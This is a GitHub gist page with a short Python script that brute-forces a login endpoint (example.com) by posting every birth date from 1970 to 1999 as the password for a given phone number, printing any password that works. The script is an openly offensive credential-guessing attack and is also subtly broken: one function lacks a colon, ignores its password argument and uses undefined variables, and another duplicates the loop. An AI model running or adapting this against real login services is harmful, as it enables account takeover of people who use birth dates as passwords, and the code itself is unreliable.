Skip to content

Instantly share code, notes, and snippets.

@weinbergdavid
Last active January 20, 2019 07:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save weinbergdavid/2fd1436022c35342572de388926ecfc3 to your computer and use it in GitHub Desktop.
Save weinbergdavid/2fd1436022c35342572de388926ecfc3 to your computer and use it in GitHub Desktop.
import requests
def check_password(phone_number, password)
data = {"username": phone_number, "password": f'{day}{month}{year}'}
res = requests.post('https://example.com/login', json=data)
if res.status_code == 200:
return True
return False
def known_passwords(phone_number):
for day in range(1, 32):
for month in range(1, 13):
for year in range(1970, 2000):
password = f'{day}{month}{year}'
data = {"username": phone_number, "password": f'{day}{month}{year}'}
res = requests.post('https://example.com/login', json=data)
if res.status_code == 200:
return password
return None
def birth_date_brute_force(phone_number):
for day in range(1, 32):
for month in range(1, 13):
for year in range(1970, 2000):
password = f'{day}{month}{year}'
if check_password(phone_number, password):
return password
return None
password = birth_date_brute_force("<phone number>")
if password is not None:
print(f"found password!!! {password}")
password = known_passwords("<phone number>")
if password is not None:
print(f"found password!!! {password}")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment